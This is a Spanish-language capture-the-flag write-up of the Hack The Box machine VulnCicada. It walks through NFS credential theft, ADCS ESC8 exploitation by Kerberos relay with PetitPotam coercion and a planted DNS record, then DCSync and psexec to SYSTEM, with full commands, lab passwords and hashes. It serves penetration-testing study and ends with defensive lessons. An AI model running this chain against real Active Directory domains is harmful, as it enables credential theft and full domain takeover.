> For the complete documentation index, see [llms.txt](https://oliver-3.gitbook.io/redteam-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oliver-3.gitbook.io/redteam-notes/hack-the-box/vulncicada-esc8.md).

# VulnCicada - ESC8

Aquí tienes una versión mejorada, estructurada y con formato profesional del writeup para la máquina **VulnCicada**. He enriquecido las explicaciones técnicas para que no solo sea una guía de pasos, sino un recurso educativo que explique el *porqué* de cada acción.

***

**Dificultad:** Media\
**Sistema Operativo:** Windows\
**Habilidades Clave:** ADCS Abuse, Kerberos Relaying, NFS Enumeration

### 1. Sinopsis

**VulnCicada** es una máquina de Active Directory que simula un entorno corporativo con configuraciones de seguridad modernas (como la deshabilitación de NTLM). El ataque comienza con la enumeración de un recurso compartido NFS mal configurado, lo que lleva al descubrimiento de credenciales débiles.

El vector de escalada principal explota una mala configuración en los Servicios de Certificado de Active Directory (**ADCS**), específicamente la vulnerabilidad **ESC8**. Dado que el entorno bloquea el relay tradicional de NTLM, debemos evolucionar la explotación hacia técnicas avanzadas de **Kerberos Relaying** para suplantar la cuenta del Controlador de Dominio y comprometer todo el bosque.

***

&#x20;2\. Enumeración Inicial (Reconocimiento)

Comenzamos con un escaneo exhaustivo de puertos utilizando `nmap` para identificar los servicios expuestos.

```bash
# Escaneo rápido para descubrir puertos abiertos
ports=$(nmap -p- --min-rate=1000 -T4 10.129.234.48 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

# Escaneo detallado de servicios y versiones en los puertos descubiertos
nmap -p$ports -sC -sV 10.129.234.48 -oN nmap_scan.txt
```

Análisis del Nmap

El escaneo revela un Controlador de Dominio clásico con varios servicios interesantes:

* **Puerto 80:** Servidor web Microsoft IIS 10.0.
* **Puerto 88:** Kerberos (indica que es un DC).
* **Puerto 389 / 636:** LDAP / LDAPS (Dominio: `cicada.vl`).
* **Puerto 445:** SMB.
* **Puerto 2049:** **NFS (Network File System)**. ¡Este es un hallazgo clave!

Agregamos el dominio y el hostname al archivo `/etc/hosts` para facilitar la resolución:

```bash
echo "10.129.234.48 DC-JPQ225.cicada.vl cicada.vl" | sudo tee -a /etc/hosts
```

***

3\. Enumeración de NFS y Robo de Credenciales

Al investigar el puerto 2049, descubrimos que el servidor NFS tiene un recurso compartido público llamado `/profiles`.

```bash
$ showmount -e cicada.vl
Export list for cicada.vl:
/profiles (everyone)
```

Montamos el recurso compartido en nuestro sistema local para inspeccionar su contenido:

```bash
sudo mount -t nfs -o rw cicada.vl:/profiles /mnt
tree /mnt
```

El directorio expone las carpetas `C:\Users` de la máquina remota. Al navegar por los perfiles de los usuarios, encontramos dos imágenes interesantes: `vacation.png` y `marketing.png`.

Al analizar la imagen `marketing.png` (usando herramientas como `exiftool`, `binwalk` o extrayendo strings), descubrimos una contraseña en texto claro incrustada en los metadatos o comentarios de la imagen: 🔑 **Credenciales descubiertas:** `Rosie.Powell:Cicada123`

***

4\. Validación de Credenciales y Análisis del Entorno

Antes de lanzar ataques, debemos validar las credenciales y entender las restricciones de seguridad del entorno.

```bash
$ nxc smb DC-JPQ225.cicada.vl -u Rosie.Powell -p Cicada123
SMB 10.129.234.48 445 10.129.234.48 [*] x64 (name:10.129.234.48) (domain:10.129.234.48) (signing:True) (SMBv1:False) (NTLM:False)
SMB 10.129.234.48 445 10.129.234.48 [-] 10.129.234.48\Rosie.Powell:Cicada123 STATUS_NOT_SUPPORTED
```

Observación Crítica: NTLM está Deshabilitado

La salida `(NTLM:False)` indica que el dominio ha endurecido su seguridad deshabilitando la autenticación NTLM. Para validar las credenciales y operar en este entorno, **estamos obligados a usar Kerberos (`-k`)**.

> **Nota Importante:** Kerberos es estricto con el tiempo. Debemos sincronizar nuestro reloj con el del DC antes de continuar, de lo contrario, los tickets serán rechazados.
>
> ```bash
> sudo ntpdate -u cicada.vl
> ```

Validamos las credenciales usando Kerberos y enumeramos los recursos compartidos SMB:

```bash
$ nxc smb DC-JPQ225.cicada.vl -u Rosie.Powell -p Cicada123 -k --shares
# ... [SNIP] ...
SMB DC-JPQ225.cicada.vl 445 DC-JPQ225 CertEnroll READ  Active Directory Certificate Services share
```

¡El share `CertEnroll` confirma que **ADCS (Active Directory Certificate Services)** está instalado!

***

5\. Detección de Vulnerabilidades en ADCS (ESC8)

Utilizamos `certipy` para buscar malas configuraciones en las plantillas de certificados y la Autoridad Certificadora (CA).

```bash
certipy find -target DC-JPQ225.cicada.vl -u Rosie.Powell@cicada.vl -p Cicada123 -k -vulnerable -stdout
```

Análisis de la Salida

La herramienta nos alerta de una vulnerabilidad crítica en la configuración de la CA:

```
[!] Vulnerabilities
ESC8 : Web Enrollment is enabled over HTTP.
```

**¿Qué significa esto?** La vulnerabilidad **ESC8** ocurre cuando la interfaz de inscripción web de certificados (`/certsrv/`) está habilitada sobre HTTP (sin cifrar). Esto permite a un atacante interceptar una autenticación y hacer *relay* (reenviarla) al endpoint web para solicitar un certificado en nombre de la víctima.

**El Problema:** Las herramientas clásicas de relay como `ntlmrelayx` dependen de NTLM. Como NTLM está deshabilitado, el relay tradicional fallará. **La Solución:** Debemos realizar un **Kerberos Relay**, forzando al DC a autenticarse contra nosotros usando Kerberos y reenviando ese ticket al endpoint ADCS.

***

6\. Explotación de ESC8: Kerberos Relay

A continuación, se detallan dos métodos para explotar esta vulnerabilidad en un entorno sin NTLM.

Método 1: SMB Method (Entorno Linux)

Este método aprovecha una técnica descubierta por Synacktiv para hacer relay de Kerberos sobre SMB manipulando el DNS.

**Paso 1: Crear un registro DNS "Mágico"**

Para evitar las restricciones de *self-relay* (loopback) en Kerberos, necesitamos crear un registro DNS en el propio Active Directory que apunte a nuestra máquina atacante. Usamos `bloodyAD` para inyectar este registro:

```bash
bloodyAD -u Rosie.Powell -p Cicada123 -d cicada.vl -k --host DC-JPQ225.cicada.vl add dnsRecord \
DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA 10.10.14.65
```

**Paso 2: Configurar el Servidor de Relay**

Iniciamos `certipy relay` apuntando al endpoint vulnerable y especificando la plantilla `DomainController` (ya que nuestro objetivo final es la cuenta del DC).

```bash
certipy relay -target 'http://dc-jpq225.cicada.vl/' -template DomainController
[*] Targeting http://dc-jpq225.cicada.vl/certsrv/certfnsh.asp (ESC8)
[*] Listening on 0.0.0.0:445
```

**Paso 3: Coaccionar la Autenticación (PetitPotam)**

Usamos `netexec` (nxc) con el módulo `coerce_plus` para forzar al DC a autenticarse contra nuestro registro DNS "mágico".

```bash
nxc smb DC-JPQ225.cicada.vl -u Rosie.Powell -p Cicada123 -k -M coerce_plus -o \
LISTENER=DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA METHOD=PetitPotam
```

Al ejecutarse, el DC enviará un ticket de Kerberos a nuestro listener. `certipy` interceptará este ticket, lo hará relay al servidor ADCS y solicitará un certificado para la cuenta del DC (`DC-JPQ225$`).

**Paso 4: Autenticación con el Certificado Robado**

Una vez obtenido el archivo `dc-jpq225.pfx`, lo usamos para autenticarnos y extraer el hash NT de la cuenta del equipo:

```bash
certipy auth -pfx dc-jpq225.pfx -dc-ip 10.129.234.48
[*] Got TGT
[*] Saving credential cache to 'dc-jpq225.ccache'
[*] Got hash for 'dc-jpq225$@cicada.vl': aad3b435b51404eeaad3b435b51404ee:a65952c664e9cf5de60195626edbeee3
```

***

Método 2: RemoteKrbRelay (Entorno Windows)

Si preferimos (o necesitamos) hacerlo desde Windows, podemos usar la herramienta `RemoteKrbRelay`.

**Paso 1: Verificar Cuota de Cuentas (MAQ)**

Primero, verificamos si nuestro usuario puede unir máquinas al dominio (Machine Account Quota).

```bash
nxc ldap DC-JPQ225.cicada.vl -u Rosie.Powell -p Cicada123 -k -M maq
# Output: MachineAccountQuota: 10
```

Como la cuota es 10, podemos unir nuestra máquina de ataque (VM Windows) al dominio `cicada.vl` usando las credenciales de `Rosie.Powell` y configurando el DNS de la VM para que apunte al DC.

**Paso 2: Ejecutar RemoteKrbRelay**

Desde la VM Windows unida al dominio, ejecutamos la herramienta para forzar la autenticación del DC y hacer relay a ADCS:

```powershell
.\RemoteKrbRelay.exe -adcs -template DomainController -victim dc-jpq225.cicada.vl -target dc-jpq225.cicada.vl -clsid d99e6e74-fc88-11d0-b498-00a0c90312f3
```

La herramienta devolverá el certificado en formato Base64. Lo guardamos, convertimos a `.pfx` y continuamos con los pasos de post-explotación desde Linux.

***

7\. Post-Explotación y Compromiso Total

Independientemente del método utilizado, ahora poseemos el hash NTLM de la cuenta del Controlador de Dominio (`dc-jpq225$`). En Active Directory, la cuenta del DC tiene privilegios suficientes para realizar ataques **DCSync** y extraer los hashes de todos los usuarios, incluido el Administrador del dominio.

#### Paso 1: DCSync

Usamos `secretsdump.py` de Impacket, autenticándonos con el ticket de Kerberos (`.ccache`) que obtuvimos anteriormente:

```bash
export KRB5CCNAME=dc-jpq225.ccache
secretsdump.py -k -no-pass cicada.vl/dc-jpq225\$@dc-jpq225.cicada.vl -just-dc-user administrator

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:85a0da53871a9d56b6cd05deda3a5e87:::
```

Paso 2: Acceso Final (Psexec)

Con el hash del Administrador en mano, obtenemos una shell con privilegios de `SYSTEM` en el DC:

```bash
impacket-psexec cicada.vl/administrator@DC-JPQ225.cicada.vl -k -hashes :85a0da53871a9d56b6cd05deda3a5e87

C:\Windows\system32> whoami
nt authority\system
```

🚩 **Flags capturadas:** `user.txt` y `root.txt` en el escritorio del Administrador.

***

&#x20;8\. Conclusiones y Lecciones Aprendidas

1. **Higiene de Credenciales y Recursos Compartidos:** La exposición de directorios de usuarios a través de NFS sin restricciones de autenticación permitió el robo de credenciales en texto claro.
2. **ADCS es un Vector Crítico:** La habilitación de Web Enrollment sobre HTTP (ESC8) es una puerta trasera hacia la compilación de certificados. Siempre se debe forzar HTTPS o deshabilitar la interfaz web si no es estrictamente necesaria.
3. **Evolución del Relay:** Las defensas modernas que deshabilitan NTLM mitan ataques clásicos como `ntlmrelayx`. Sin embargo, los atacantes han adaptado sus herramientas para realizar **Kerberos Relaying** (manipulando DNS o usando herramientas como `RemoteKrbRelay`), demostrando que la seguridad por oscuridad o deshabilitación de protocolos legacy no es suficiente si existen malas configuraciones subyacentes en servicios críticos como ADCS.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://oliver-3.gitbook.io/redteam-notes/hack-the-box/vulncicada-esc8.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
